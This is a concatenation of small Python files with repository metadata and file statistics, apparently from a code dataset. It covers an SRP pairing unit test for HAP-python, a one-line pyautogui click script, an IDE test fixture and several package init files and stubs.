codezinfiniti/HAP-python

c5a18c66e2a1e130c5ec40f252878f7449acaad4

[ "Apache-2.0" ]

129

2017-11-23T20:50:28.000Z

2022-03-17T01:26:53.000Z

"""Tests for pyhap.hsrp.""" # pylint: disable=line-too-long, pointless-string-statement import hashlib from pyhap.hsrp import Server from pyhap.params import get_srp_context from pyhap.util import long_to_bytes DUMMY_A = b"Ve\xce\xd4\x90LExKD\x9d7\x16\\@\xb6\xb8\x9f\x01\x1a]\x86\xa4\x1c" " \x13\xaa\xc0\x17=\x1f\xafPx\xea/\x01Q\xc8hw\x06\x03\xc8O\x89|\x8d4\xa8\x85" "\xd2\xfb:\x0e\xb6PT2V\xb2\xa9\xca\x0bL\x97\r\xee\x88\xbc\xef\x8d\xa6|\xeb \xdc" "\x80.\x92\xe0\xe5s\xf5\xf2;\x89LN\\^\x8c\xd1\x00\x99U]]/^\xe9\x1b\xe2\xf3\x1a|" "\xc6\x85Q\x95T`b\x8e\x04\xc2\x99\xdd\xdfp\x98\x85\x13\xe5\xaf\xdf\xe0Tm\xa3t\xfe" "\xc1_V\x04\xab\xb1\x96\xa8\x9cw\xa40\x95\x8d\x9f|\xf7.\x90\xd2{L\xcc*\xcb\xdde" "\x81\x14\x14\xc97\xe7\xa0177\x1b\xe0\xb0\x19\x0f\xf1\x1e;\xc4\xc9\x07\x05zN\xb3" "!y\xf2\x9e\xa4N\xbeswxx\x13\x82\x18\xccU\xb4\xec\x7f{\x8eo\x86\x0b\xa6\xff\x9b" "\xbcY(0\x16\xba$\x9d\xb9\x8d}\xe5f\x0c)\\\x8b\\\xef\xfd\x0coEg\x13\x13\xa2q\xb9" "\xe5\x8a\xfd\x97\x97\xcb\xb1\x15\xd5\xc2\xd7\x07\x91A\xdf\xd7" def test_srp_basic(): ctx = get_srp_context(3072, hashlib.sha512, 16) b = 191304991611724068381190663629083136274 s = long_to_bytes(227710976386754876301088769828140156049) verifier = Server(ctx, b"Pair-Setup", b"123-45-543", s=s, b=b) verifier.set_A(DUMMY_A) assert ( verifier.k == 8891118944006259431156568541843809053371474718154946070525699599564743247786811275097952247025117806925219847643897478119979876683245412022290811230509536 ) assert ( verifier.get_session_key() == 7776966363435436003301596680621751479448170893927097125414524508260409807602643597201957531811064094375727460485526402929080964822225092649470633176208468 ) assert ( verifier.M == b"\xafnZ\xef\x8e\x84\xbe\xaa\xe2M}5'\x0c\xb8\xb9\x07\x13\xa3t\xbbfOL\x059\xa3T\xaf\x021\x05\xf7*\xdb]\xa3]\x92\xbc\xa7\x0ed\xc1C\x88W\x0b\xe7n\xe6|\x1e\xb4\xf9pUc\xa2\x8d\x05\xd7\xabI" ) assert ( verifier.S == 74327940101639752536537640881643581886247890122995727869092918508085397047960192114187184206420245499227933354038262980545757154896143196917567791395562849790585173129051928488506985432588320936161016609993624725221069849383124728580710793131421162926844621384309691065416908669855286020750380619018007734494245389837285359061649585082978114606737696983003789452193299203880220013003551748645087934186574940836315605161763958706985646740794424371115818479937015467439653789667600114913036877616558029128521276071759153575011083182650027094873442901697309464533625147028860476977419766721379872518101123122550406587162809198793634217353529574423908555799363233330194347012490634061830786590780000201696990820985363093141614397601285773980430681705777477946555312165250133963931282621724675380164859592461132141730419315498467050491890312826221069184134326282895963295397215898192608240385050625017941322853973472354023693355 ) assert verifier.get_challenge() == ( s, 2149981971605054722971448928513305504744266471818820776094113337432031877014471028912971746321748621185649001880451734094103311676264091997241948096711710461140721738956497494552388614895831596671069609694220554015991913746528757304239759620571367574036184864989138266792823575841594621160010011666017298902208272126405229578664943728094068949021795802799552486045670159066273942547651088762352104942364707580142387716636468281068738042936130578774565386637668610429058884417819388838110075674266297699354845325023954873162742733169560666501210723876454859556564325607870517213063038111644227553599978606540729093082921723443122696487068510228710655880466038292327450357013882323502992655150615829432843408599038481983277372215619348128412279375677793332715557041679298014663382481619951610899087031959653365603032111634191603851554865349816117884573658915813848292512124719015181912892538210471183790840676306564839828444134, ) assert verifier.b == b assert ( verifier.v == 1800954445588585461785592179273284825501707649217210015435034845050179016324355419526711292364866248346582448660643272322280999760562622718989053886869428917425675795172391329924178337579968214001782222575897907780437717763112406095878356902641567396545009429496128133564692965499069074320017151157469160990771527712530637370897276672652870613312504255873634362188551282649472569433062597795005057270622772410668342950279555516133010272639201733492626622809480021268951287298118968011031850511105359580984350020671780470982743318615303989055956125558514263378948829479434245711743458681522240763520911255733079164391662778946744155477806679057949726211652108387739564473209550264487697151825509058193841809273482575660658239177704074882302955007248950743262054925817705066654613816236610736311934089570249355454459951577900707115340781119430461780455828980205046091360390327787803271426555681638302650021637121212829077894589 ) assert ( verifier.N == 5809605995369958062791915965639201402176612226902900533702900882779736177890990861472094774477339581147373410185646378328043729800750470098210924487866935059164371588168047540943981644516632755067501626434556398193186628990071248660819361205119793693985433297036118232914410171876807536457391277857011849897410207519105333355801121109356897459426271845471397952675959440793493071628394122780510124618488232602464649876850458861245784240929258426287699705312584509625419513463605155428017165714465363094021609290561084025893662561222573202082865797821865270991145082200656978177192827024538990239969175546190770645685893438011714430426409338676314743571154537142031573004276428701433036381801705308659830751190352946025482059931306571004727362479688415574702596946457770284148435989129632853918392117997472632693078113129886487399347796982772784615865232621289656944284216824611318709764535152507354116344703769998514148343807 ) assert verifier.g == 5 assert ( verifier.verify(verifier.M) == b"\xe1\x00\xcf\xe2\x98\xaf\x1e\x02tb\x0b\xfclKF\xee\x1b\x80\xf6\x90\xb7\x8a\x9f\x133y#>\x8d/\xc1\x88\x93\x8eh\tN\x9b\xda\xc2-\x1a(\xe3\xca\x0bf\xf3\xc4\xca\xc4\xec\xfa/\xec\xb7\x16\x81\xdd%\xc9i\xf9\x90" ) assert verifier.verify(b"wrong") is None

93.044776

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937

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1

0

1

0

1

0

null

1

0

5

24ec5f5b67f123b1ab51709306df44fcc5a007e2

47

py

Python

bot 3.3.5a/ckl.py

Khufos/Bot-de-pesca-wow-3.3.5a

d3dbba8863190994e085504c3451a45c8501cdf5

[ "MIT" ]

1

2022-02-19T22:01:03.000Z

bot 3.3.5a/ckl.py

Khufos/Bot-de-pesca-wow-3.3.5a

d3dbba8863190994e085504c3451a45c8501cdf5

[ "MIT" ]

null

bot 3.3.5a/ckl.py

Khufos/Bot-de-pesca-wow-3.3.5a

d3dbba8863190994e085504c3451a45c8501cdf5

[ "MIT" ]

1

2022-02-19T22:01:07.000Z

import pyautogui as pag pag.click('acpt2.png')

15.666667

23

0.765957

8

47

4.5

0.875

0

0.02381

0.106383

47

3

24

15.666667

0.833333

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0.191489

0

1

0

true

0

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

5

70000fb558bd148478010379ad8aa43e16ebe478

31

py

Python

python/testData/resolve/multiFile/fromNamespacePackageImportModule/FromNamespacePackageImportModule.py

jnthn/intellij-community

8fa7c8a3ace62400c838e0d5926a7be106aa8557

[ "Apache-2.0" ]

2

2019-04-28T07:48:50.000Z

2020-12-11T14:18:08.000Z

python/testData/resolve/multiFile/fromNamespacePackageImportModule/FromNamespacePackageImportModule.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

173

2018-07-05T13:59:39.000Z

2018-08-09T01:12:03.000Z

python/testData/resolve/multiFile/fromNamespacePackageImportModule/FromNamespacePackageImportModule.py

Cyril-lamirand/intellij-community

60ab6c61b82fc761dd68363eca7d9d69663cfa39

[ "Apache-2.0" ]

2

2020-03-15T08:57:37.000Z

2020-04-07T04:48:14.000Z

from p1 import m1 m1() #<ref>

6.2

17

0.612903

6

31

3.166667

0.833333

0

0.125

0.225806

31

4

18

7.75

0.666667

0.16129

0

1

0

true

0

0.5

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0.5

0

1

0

null

0

1

0

null

0

1

0

1

0

5

70953de039cf2a60952ffdd71cfb923ff3f27d14

115

py

Python

api/main.py

Herikc2/IoT-Previsao-de-Uso-de-Energia

a480ad92d83480b3e0b445355e79307ce01deb1d

[ "MIT" ]

null

api/main.py

Herikc2/IoT-Previsao-de-Uso-de-Energia

a480ad92d83480b3e0b445355e79307ce01deb1d

[ "MIT" ]

null

api/main.py

Herikc2/IoT-Previsao-de-Uso-de-Energia

a480ad92d83480b3e0b445355e79307ce01deb1d

[ "MIT" ]

null

# Importar bibliotecas from src.server.instance import server from src.controllers.previsao import * server.run()

19.166667

38

0.808696

15

115

6.2

0.666667

0.150538

0

0.113043

115

6

39

19.166667

0.911765

0.173913

0

1

0

true

0

0.666667

0

0.666667

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

7097bd8c13f5d06752e5cc1366c59ceb71f51f8b

56

py

Python

depth/models/utils/hooks/__init__.py

zhyever/Monocular-Depth-Estimation-Toolbox

c591b9711321450387ffa7322ec1db9a340347c2

[ "Apache-2.0" ]

21

2022-03-12T01:42:05.000Z

2022-03-31T17:01:45.000Z

depth/models/utils/hooks/__init__.py

zhyever/Monocular-Depth-Estimation-Toolbox

c591b9711321450387ffa7322ec1db9a340347c2

[ "Apache-2.0" ]

2

2022-03-29T10:50:33.000Z

2022-03-30T10:40:53.000Z

depth/models/utils/hooks/__init__.py

zhyever/Monocular-Depth-Estimation-Toolbox

c591b9711321450387ffa7322ec1db9a340347c2

[ "Apache-2.0" ]

3

2022-03-26T11:52:44.000Z

2022-03-30T21:24:16.000Z

from .tensorboard_hook import TensorboardImageLoggerHook

56

0.928571

5

56

10.2

1

0

0.053571

56

1

56

0.962264

0

1

0

true

0

1

0

1

0

1

0

1

null

0

1

0

null

0

1

0

1

0

5

709f50e204ec8910cedb0d2de6a8babf99f30e00

212

py

Python

saturn_client/__init__.py

saturncloud/saturn-client

8d2f8ef41f9ef5be9c452fbfc8fcec5fa515a869

[ "BSD-3-Clause" ]

null

saturn_client/__init__.py

saturncloud/saturn-client

8d2f8ef41f9ef5be9c452fbfc8fcec5fa515a869

[ "BSD-3-Clause" ]

3

2020-12-21T22:28:13.000Z

2021-09-15T16:06:07.000Z

saturn_client/__init__.py

saturncloud/saturn-client

8d2f8ef41f9ef5be9c452fbfc8fcec5fa515a869

[ "BSD-3-Clause" ]

1

2021-09-15T02:07:23.000Z

""" imports added so users do not have to think about submodules """ from .core import SaturnConnection # noqa: F401 from ._version import get_versions __version__ = get_versions()["version"] del get_versions

21.2

60

0.768868

29

212

5.344828

0.724138

0.212903

0.232258

0

0.016667

0.150943

212

9

61

23.555556

0.844444

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0

0.5

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0.5

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1

0

null

1

0

1

0

null

0

1

0

5

70a64ec42beab0d52fac539cfe8ef4951a201fb5

147

py

Python

pylammpsmpi/__init__.py

srmnitc/pylammpsmpi

5d459ce67838731aabd59071430e20f04ad57c5f

[ "BSD-3-Clause" ]

11

2020-06-20T15:50:35.000Z

2021-12-19T16:37:57.000Z

pylammpsmpi/__init__.py

jan-janssen/pylammpsmpi

4a1326ace148b114754e09b28059a9b778bf47ee

[ "BSD-3-Clause" ]

31

2020-03-05T18:58:09.000Z

2022-03-07T08:52:30.000Z

pylammpsmpi/__init__.py

jan-janssen/pylammpsmpi

4a1326ace148b114754e09b28059a9b778bf47ee

[ "BSD-3-Clause" ]

4

2020-03-05T18:19:30.000Z

2021-06-04T04:43:23.000Z

from pylammpsmpi.lammps_wrapper import LammpsLibrary from ._version import get_versions __version__ = get_versions()["version"] del get_versions

21

52

0.836735

18

147

6.333333

0.555556

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0.315789

0

0.102041

147

6

53

24.5

0.863636

0

0.047619

0

1

0

false

0

0.5

0

0.5

0

1

0

null

1

0

1

0

null

0

1

0

5

560e1c9ba4a281bfa549f9ad17b94add2c9ff035

73

py

Python

orka_vector_api/views/__init__.py

jansule/OrKa-Vector-API

3daa4033550d0f9c63ae38cadc982e30f0f04651

[ "Apache-2.0" ]

1

2021-07-16T11:56:49.000Z

orka_vector_api/views/__init__.py

jansule/OrKa-Vector-API

3daa4033550d0f9c63ae38cadc982e30f0f04651

[ "Apache-2.0" ]

1

2021-05-21T07:29:11.000Z

orka_vector_api/views/__init__.py

jansule/OrKa-Vector-API

3daa4033550d0f9c63ae38cadc982e30f0f04651

[ "Apache-2.0" ]

1

2021-04-12T09:06:26.000Z

from .data import data from .jobs import jobs from .status import status

18.25

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12

73

4.833333

0.416667

0

0.164384

73

3

27

24.333333

0.95082

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

564dfb9d32316bcf5b055e004a0bb77b61750a17

62

py

Python

nupy/__init__.py

begeistert/nupy

b1026afc21b9a985a3329f1a16006aec8fa4d726

[ "MIT" ]

null

nupy/__init__.py

begeistert/nupy

b1026afc21b9a985a3329f1a16006aec8fa4d726

[ "MIT" ]

null

nupy/__init__.py

begeistert/nupy

b1026afc21b9a985a3329f1a16006aec8fa4d726

[ "MIT" ]

null

from .sympy_algebra import * from .iterative_methods import *

20.666667

32

0.806452

8

62

6

0.75

0

0.129032

62

2

33

31

0.888889

0

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true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

5

5666e40a48cfbffa3c0683f6adb0a389a52ba508

368

py

Python

datagateway_api/src/search_api/session_handler.py

MRichards99/datagateway-api

2e6133636fed950a16190d2f703f152c73bb5b1b

[ "Apache-2.0" ]

null

datagateway_api/src/search_api/session_handler.py

MRichards99/datagateway-api

2e6133636fed950a16190d2f703f152c73bb5b1b

[ "Apache-2.0" ]

null

datagateway_api/src/search_api/session_handler.py

MRichards99/datagateway-api

2e6133636fed950a16190d2f703f152c73bb5b1b

[ "Apache-2.0" ]

null

# TODO - can we enforce a singleton pattern on the class? class SessionHandler: def __init__(self): self.client = None self.session_id = None def requires_session_id(method): """ TODO """ pass """ @wraps(method) def wrapper_requires_session(*args, **kwargs): pass return wrapper_requires_session """

17.52381

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368

5.142857

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0.285326

368

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18.4

0.821293

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0.166667

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